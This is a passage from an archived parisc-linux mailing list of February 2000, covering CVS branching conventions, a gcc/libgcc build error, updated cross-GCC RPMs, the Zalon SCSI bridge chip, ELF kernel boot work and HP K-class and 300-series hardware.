X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6913

Just a short note on branching.  If you are thinking about creating a
branch, you should know that branching/merging is one of the weakest
parts of CVS.

For branching I would like to establish the following conventions.  For
branch "foo" there will be a static FOO_BASE tag that marks the
beginning of the branch, and development will be done using the
FOO_BRANCH tag.  The static tag is crucial for later merging.

Using all caps is ugly but helps to distinguish between directory names
and tags names on the command line.  (This is a weak protection, but
helps when you're playing with tags at 3am in the morning.)

	- Mike.


From - Thu Nov 08 21:12:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] make Image fails
Date: Tue, 29 Feb 2000 12:26:53 -0800 (PST)
Lines: 31
Approved: news@gmane.org
Message-ID: <20000229202653.2087.qmail@web508.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618798 30774 80.91.229.3 (22 Nov 2014 01:13:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Tue Feb 29 14:26:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA08543
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 14:26:00 -0700
Original-Received: (qmail 30316 invoked by uid 15267); 29 Feb 2000 20:26:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30294 invoked from network); 29 Feb 2000 20:26:58 -0000
Original-Received: from web508.mail.yahoo.com (128.11.68.75)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 20:26:58 -0000
Original-Received: (qmail 2088 invoked by uid 60001); 29 Feb 2000 20:26:53 -0000
Original-Received: from [212.144.129.54] by web508.mail.yahoo.com; Tue, 29 Feb 2000 12:26:53 PST
Xref: news.gmane.org gmane.linux.ports.parisc:6914

--- willy@thepuffingroup.com wrote:
> On Tue, Feb 29, 2000 at 06:34:16AM -0800, Ulrich
> Strelow wrote:
> > Building the cvs version 20000227 with defconfig
> fails
> > with unsatified symbol __cmpdi2.
> 
> [snip]
> 
> > I did not find any reference in the source code.
> > Grepping through object files as well finds a
> > reference in arch/parisc/hpux/fs.o and hpux.o.
> 
> __cmpdi2 is one of the `help, help, i don't know how
> to compile this
> arithmetic op' symbols that gcc puts into libgcc1. 
> Let me have a look
> and wee what's producing this.  It may vary
> depending on gcc version;
> what version of gcc are you using?

I am using gcc version 2.8.1. I must admit that this
is a bit old, but it was sufficient until now to build
parisc-linux kernels (and SOM executables for HP-UX).

Ulrich
__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com


From - Thu Nov 08 21:12:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dave O'Neill" <doneill@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New GCC RPMS on the FTP site
Date: Tue, 29 Feb 2000 16:48:12 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10002291646140.21614-100000@boilermaker.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618798 30781 80.91.229.3 (22 Nov 2014 01:13:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:18 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: doneill@linuxcare.com  Tue Feb 29 15:41:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA09014
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 15:41:18 -0700
Original-Received: (qmail 23822 invoked by uid 15267); 29 Feb 2000 21:42:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23815 invoked from network); 29 Feb 2000 21:42:16 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 21:42:16 -0000
Original-Received: (qmail 25215 invoked from network); 29 Feb 2000 21:42:06 -0000
Original-Received: from unknown (HELO boilermaker.thepuffingroup.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 29 Feb 2000 21:42:06 -0000
X-Sender: dmo@boilermaker.thepuffingroup.com
Xref: news.gmane.org gmane.linux.ports.parisc:6915


The cross-GCC RPMS for parisc have been updated on the FTP site, as they
didn't get packaged properly the first time.
They are:
	/pub/parisc/binaries/SRPMS/gcc-parisc-20000225-2.src.rpm
	/pub/parisc/binaries/RPMS/gcc-parisc-20000225-2.1386.rpm

Dave
-- 
Dave O'Neill, Linux Consultant, Linuxcare, Inc.
doneill@linuxcare.com, http://www.linuxcare.com/ 
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Kirkwood <weejock@ferret.lmh.ox.ac.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new binaries
Date: Tue, 29 Feb 2000 22:07:47 +0000 (GMT)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0002292206020.3279-100000@ferret.lmh.ox.ac.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618798 30788 80.91.229.3 (22 Nov 2014 01:13:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:18 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: weejock@ferret.lmh.ox.ac.uk  Tue Feb 29 16:06:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA09433
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 16:06:56 -0700
Original-Received: (qmail 12368 invoked by uid 15267); 29 Feb 2000 22:07:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12361 invoked from network); 29 Feb 2000 22:07:55 -0000
Original-Received: from ferret.lmh.ox.ac.uk (qmailr@163.1.138.204)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 22:07:55 -0000
Original-Received: (qmail 3831 invoked by uid 504); 29 Feb 2000 22:07:47 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 29 Feb 2000 22:07:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:6916


(lost the original post)

The new S?RPMs of gcc seem to be mode 0600.

Are they to be secret from us? :-)

Matthew.


From - Thu Nov 08 21:12:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dave O'Neill" <doneill@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new binaries
Date: Tue, 29 Feb 2000 17:27:16 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10002291726430.713-100000@boilermaker.thepuffingroup.com>
References: <Pine.LNX.4.21.0002292206020.3279-100000@ferret.lmh.ox.ac.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618799 30792 80.91.229.3 (22 Nov 2014 01:13:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Kirkwood <weejock@ferret.lmh.ox.ac.uk>
Original-X-From: doneill@linuxcare.com  Tue Feb 29 16:17:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA09655
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 16:17:10 -0700
Original-Received: (qmail 19830 invoked by uid 15267); 29 Feb 2000 22:18:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19823 invoked from network); 29 Feb 2000 22:18:08 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 22:18:08 -0000
Original-Received: (qmail 797 invoked from network); 29 Feb 2000 22:18:07 -0000
Original-Received: from unknown (HELO boilermaker.thepuffingroup.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 29 Feb 2000 22:18:07 -0000
X-Sender: dmo@boilermaker.thepuffingroup.com
In-Reply-To: <Pine.LNX.4.21.0002292206020.3279-100000@ferret.lmh.ox.ac.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:6917

On Tue, 29 Feb 2000, Matthew Kirkwood wrote:

> The new S?RPMs of gcc seem to be mode 0600.
> Are they to be secret from us? :-)

Oops... fixed now.

Dave
-- 
Dave O'Neill, Linux Consultant, Linuxcare, Inc.
doneill@linuxcare.com, http://www.linuxcare.com/ 
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] zalon
Date: Tue, 29 Feb 2000 14:34:47 -0800
Lines: 44
Approved: news@gmane.org
Message-ID: <200002292234.OAA08460@milano.cup.hp.com>
References: <00cf01bf82c7$51677260$a94abc0f@hungary.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618799 30796 80.91.229.3 (22 Nov 2014 01:13:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Gyula Matics" <gyula_matics@hp.com>
Original-X-From: grundler@cup.hp.com  Tue Feb 29 16:37:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA10723
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 16:37:19 -0700
Original-Received: (qmail 2031 invoked by uid 15267); 29 Feb 2000 22:38:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2003 invoked from network); 29 Feb 2000 22:38:14 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 22:38:14 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel2.hp.com (Postfix) with ESMTP id 2136C1B1
	for <parisc-linux@thepuffingroup.com>; Tue, 29 Feb 2000 17:38:42 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id OAA08460; Tue, 29 Feb 2000 14:34:48 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 29 Feb 2000 16:11:55 PST."
             <00cf01bf82c7$51677260$a94abc0f@hungary.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6918

"Gyula Matics" wrote:
> Hi all,
> 
> I'm working on the ncr7xx driver and plan to add support for the
> Bluefish GSC SCSI interface. I looked at the Mach kernel and
> found that before accessing the c720 it is initializing something
> called zalon.
> 
> What is that thing?

It's the chip that allows 53c720 signals to mean something to PA-RISC I/O.
The things I'm aware Zalon chip provides:
o IODC bytes: identify the I/O board as zalon  (ie GSC SCSI)
o EIM register:  used to generate PA interrupt transactions based on
  NCR c720 "pulling" it's IRQ line.
o HPA: hard physical address decoding so firmware can assign an MMIO
  address.

BTW, Bluefish is the EISA form factor of the GSC SCSI card.
I'm pretty sure other form factors exist including for K-class
and "built-in".

> Should one care about it

Yes.

> or just blindly do the same as the Mach kernel does?

Probably not exactly. You want to look at how drivers/gsc/dino.c
uses gsc_alloc_irq() and do something very similar in order
to program the EIM register. AFAIK, Once the Zalon EIM register is
programmed, the c720 chip can be pretty much treated like it's
on a PCI bus *using MMIO*.

The MMIO base address is handed to the parisc-linux device driver in
the struct hp_device *. Again, see dino.c for details.

hope this helps,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new binutils/gcc
Date: Tue, 29 Feb 2000 16:06:35 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <E12Pvit-0003UI-00@endor.fc.hp.com>
References: <Pine.LNX.4.21.0002271322290.365-100000@sammyville.sammy.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618799 30797 80.91.229.3 (22 Nov 2014 01:13:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:19 +0000 (UTC)
Cc: willy@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: Sam Creasey <sammy@sammy.net>
Original-X-From: bame@endor.fc.hp.com  Tue Feb 29 17:05:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA11104
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 17:05:37 -0700
Original-Received: (qmail 21377 invoked by uid 15267); 29 Feb 2000 23:06:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21365 invoked from network); 29 Feb 2000 23:06:36 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 23:06:36 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by atlrel1.hp.com (Postfix) with ESMTP
	id DAB0C10EC; Tue, 29 Feb 2000 18:06:35 -0500 (EST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 2.05 #1 (Debian))
	id 12Pvit-0003UI-00; Tue, 29 Feb 2000 16:06:35 -0700
In-reply-to: Your message of "Sun, 27 Feb 2000 13:26:55 EST."
             <Pine.LNX.4.21.0002271322290.365-100000@sammyville.sammy.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:6919

= 
= There is, in fact, a relationship there.  r8 isn't set properly at any
= time, it's kludged.  r8 needs to be set to 
= (load addr of .text) & 0xfff00000.   Basically this is used as a pointer
= to the stub table for long branching.  (so, it should be a jump to
= 0xc010049c, which ought to be a stub for start_parisc())

Don't "be" branches cause a pipeline flush?  It might be faster to
do two "bl" branches instead?

= Yeah, it's kinda ugly...  the linker and crt0.S both need to be
= taught about this too.

Ok, I fixed head.S and interruption.S.  After hacking on vmlinux.lds
and a couple small other things, the elf kernel boots to the point
where I need a ramdisk or NFS root to go further, so that's my plan.
Sources are in CVS with the ELF_BRANCH tag.

Things to do:

    The init_task_union alignment is in both vmlinux.lds and
    is known by setup.c and #defined yet another place.  This ought
    to be cleaned up if possible.

    The init_task_union printf in setup.c should be fixed.

    It's probably time to start using the __setup stuff we hacked
    around for SOM.

    Fix 'make Image' or nuke it.  'make palo' works (for me anyway)

    Sammy said, and I didn't touch these (though others have in the
    main line):

	I guarantee that launching som/elf binaries won't work.  page faulting
	looks messed up somewhere.

	execve() might not work in this one..   I played with the assembler for
	it, but good things never happened, so no changes included.


			-Paul Bame


From - Thu Nov 08 21:12:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Value of an old K-class server?
Date: Tue, 29 Feb 2000 15:20:05 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <200002292320.PAA08557@milano.cup.hp.com>
References: <20000229122439.F9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618800 30801 80.91.229.3 (22 Nov 2014 01:13:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:20 +0000 (UTC)
Cc: Andrew Shugg <andrew@neep.com.au>, parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Feb 29 17:17:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA11466
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 17:17:52 -0700
Original-Received: (qmail 28888 invoked by uid 15267); 29 Feb 2000 23:18:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28867 invoked from network); 29 Feb 2000 23:18:50 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 23:18:50 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id A9F3C34A; Tue, 29 Feb 2000 15:18:49 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id PAA08557; Tue, 29 Feb 2000 15:20:18 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 29 Feb 2000 12:24:39 PST."
             <20000229122439.F9944@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6920

willy@thepuffingroup.com wrote:
> On Wed, Mar 01, 2000 at 01:06:47AM +0800, Andrew Shugg wrote:
> > The lowest-numbered K class machine I can find on HP's website is a K220.
> > I'm fairly sure the machine I've looked at is a K200, but if this model
> > never existed then it's probably a 220.  =)
> 
> I've just been going through The List of hardware, bashing the hw database
> into something more sane.  The K200 did exist, codenamed `Kittyhawk' with
> a 100MHz PA7200 CPU in it.  It has an NIO bus in it which is something
> we don't have documentation on yet (also known as HP-PB, I think).
> The K-class machines probably wont work very soon, but I suspect someone
> will eventually get them working.

Think of the K-class as a C-class (eg. C100) with HP-PB instead of EISA.
But forget the HP-PB.  Very few cards are made for it and most are HP
proprietary.  At least all the HP-PB SCSI boards are. The problem is not
getting the cards - getting a device driver will be difficult unless
someone in HP is a masochist and wants to write one. Not me.

Kittyhawks also have GSC "slots". The core I/O board has one "slot" and
the Harrier board has room for 4 more GSC cards.  IIRC, TPG has a dozen
or so gigabit ethernet cards which would fit nicely on a harrier.  I suspect
Andrew was refering to a Harrier board.

I have no clue what the actual value of a K200 is. One should be able to
upgrade the system to something faster than 100Mhz and add CPU's. I'm
just not sure it's worth it. Compare to a C3000 or B1000 before going
that route.

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Value of an old K-class server?
Date: Wed, 1 Mar 2000 07:48:49 +0800
Lines: 34
Approved: news@gmane.org
Message-ID: <20000301074847.A13653@neep.com.au>
References: <20000301010645.Y30912@neep.com.au> <20000229122439.F9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618800 30804 80.91.229.3 (22 Nov 2014 01:13:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:20 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Tue Feb 29 17:48:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA11933
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 17:48:05 -0700
Original-Received: (qmail 13776 invoked by uid 15267); 29 Feb 2000 23:49:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13764 invoked from network); 29 Feb 2000 23:49:02 -0000
Original-Received: from muzak.iinet.net.au (203.59.24.237)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 23:49:02 -0000
Original-Received: from guinness.neep.com.au (reggae-18-123.nv.iinet.net.au [203.59.80.123])
	by muzak.iinet.net.au (8.8.5/8.8.5) with ESMTP id HAA32078
	for <parisc-linux@thepuffingroup.com>; Wed, 1 Mar 2000 07:48:55 +0800
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id HAA13963
	for parisc-linux@thepuffingroup.com; Wed, 1 Mar 2000 07:48:51 +0800
X-Mailer: Mutt 1.0i
In-Reply-To: <20000229122439.F9944@thepuffingroup.com>; from willy@thepuffingroup.com on Tue, Feb 29, 2000 at 12:24:39PM -0500
X-URL: http://www.neep.com.au/~andrew/
Xref: news.gmane.org gmane.linux.ports.parisc:6921

First of all, thanks to two Robs (Womack and Hoppe), Willy and Grant for
their feedback.  With any luck I'll be able to talk 'em into a cheap deal -
especially seeing as it's costing them a fair whack per month for floor space
rental in a data centre, even though it's switched off ...

Willy also said:

> 300 series... aarrrgghh :-)  300/400 series machines are m68k based.
> We are sharing their HIL keyboard driver (share in the sense of `copied
> and made changes but will merge back later' sense), and Steve Shack
> mentioned something about the 300-series STI interface recently.

I'm a bit confused by this.  I thought the HP 375 was a PA-RISC thingy.
Certainly there have been numerous people on this list talking about getting
their 315's or whatever to boot the parisc-linux kernel.

Had me a look at the HW database, and it says the 375 carries a 'PA7000'
processor.  (As a side note, the link for this in the database,
"http://216.208.98.4/view.php3?type=cpu&name=PA7000 (PCX-S)", made my proxy
server unhappy.  Dropping the " (PCX-S)" off the end of it helped.)

Is a PA7000 not a PA-RISC chip?

Showing my ignorance,

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]


From - Thu Nov 08 21:12:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Value of an old K-class server?
Date: Tue, 29 Feb 2000 16:55:02 -0700 (MST)
Lines: 8
Approved: news@gmane.org
Message-ID: <200002292355.QAA00682@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618800 30810 80.91.229.3 (22 Nov 2014 01:13:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:20 +0000 (UTC)
To: andrew@neep.com.au, parisc-linux@thepuffingroup.com
Original-X-From: mike@fast.cs.utah.edu  Tue Feb 29 17:54:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA12123
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 17:54:11 -0700
Original-Received: (qmail 17107 invoked by uid 15267); 29 Feb 2000 23:55:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17100 invoked from network); 29 Feb 2000 23:55:10 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 29 Feb 2000 23:55:10 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id QAA00682;
	Tue, 29 Feb 2000 16:55:02 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:6922

> I'm a bit confused by this.  I thought the HP 375 was a PA-RISC thingy.
> Certainly there have been numerous people on this list talking about getting
> their 315's or whatever to boot the parisc-linux kernel.
	
I assume you are talking about an HP 735/125 and 715 which are PA-RISC.
An HP 375 is a 33Mhz mc68030 box.  An HP 315 was, lets see..., a 25Mhz
68020 I think.


From - Thu Nov 08 21:12:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Robert Womack" <rwomack@gatesarrow.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] in addition
Date: Tue, 29 Feb 2000 16:07:59 -0500
Lines: 64
Approved: news@gmane.org
Message-ID: <000b01bf82f9$0f727490$23d81c0a@yw56140.arrow.com>
Reply-To: <rwomack@gatesarrow.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618801 30820 80.91.229.3 (22 Nov 2014 01:13:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:21 +0000 (UTC)
To: "'Andrew Shugg'" <andrew@neep.com.au>, <parisc-linux@thepuffingroup.com>
Original-X-From: rwomack@gatesarrow.com  Tue Feb 29 18:11:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA12459
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 18:11:56 -0700
Original-Received: (qmail 27011 invoked by uid 15267); 1 Mar 2000 00:12:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27004 invoked from network); 1 Mar 2000 00:12:55 -0000
Original-Received: from gatesarrow.gatesarrow.com (HELO ns.gatesarrow.com) (38.242.100.2)
  by mailserv2.iuinc.com with SMTP; 1 Mar 2000 00:12:55 -0000
Original-Received: by ns.gatesarrow.com; id SAA08394; Tue, 29 Feb 2000 18:54:25 -0500 (EST)
Original-Received: from mail.gatesarrow.com(10.8.16.2) by gatesarrow.gatesarrow.com via smap (V4.2)
	id xma008357; Tue, 29 Feb 00 18:54:18 -0500
Original-Received: from yw56140 (localhost [127.0.0.1])
	by mail.gatesarrow.com (8.8.8+Sun/8.8.8) with SMTP id TAA10806;
	Tue, 29 Feb 2000 19:12:41 -0500 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
Xref: news.gmane.org gmane.linux.ports.parisc:6923

In addition, A K200 has a PA7200 microprocessor.

-----Original Message-----
From: Robert Womack [mailto:rwomack@gatesarrow.com]
Sent: Tuesday, February 29, 2000 4:04 PM
To: 'Andrew Shugg'; 'parisc-linux@thepuffingroup.com'
Subject: RE: [parisc-linux] Value of an old K-class server?


Andrew,

   The PA7000 is indeed a PA-RISC microprocessor, a 32biter.  The series
that begin with 8 (PA8n00) are the 64bit types.

Regards,
            rob womack

-----Original Message-----
From: Andrew Shugg [mailto:andrew@neep.com.au]
Sent: Tuesday, February 29, 2000 6:49 PM
To: parisc-linux@thepuffingroup.com
Subject: Re: [parisc-linux] Value of an old K-class server?


First of all, thanks to two Robs (Womack and Hoppe), Willy and Grant for
their feedback.  With any luck I'll be able to talk 'em into a cheap deal -
especially seeing as it's costing them a fair whack per month for floor
space
rental in a data centre, even though it's switched off ...

Willy also said:

> 300 series... aarrrgghh :-)  300/400 series machines are m68k based.
> We are sharing their HIL keyboard driver (share in the sense of `copied
> and made changes but will merge back later' sense), and Steve Shack
> mentioned something about the 300-series STI interface recently.

I'm a bit confused by this.  I thought the HP 375 was a PA-RISC thingy.
Certainly there have been numerous people on this list talking about getting
their 315's or whatever to boot the parisc-linux kernel.

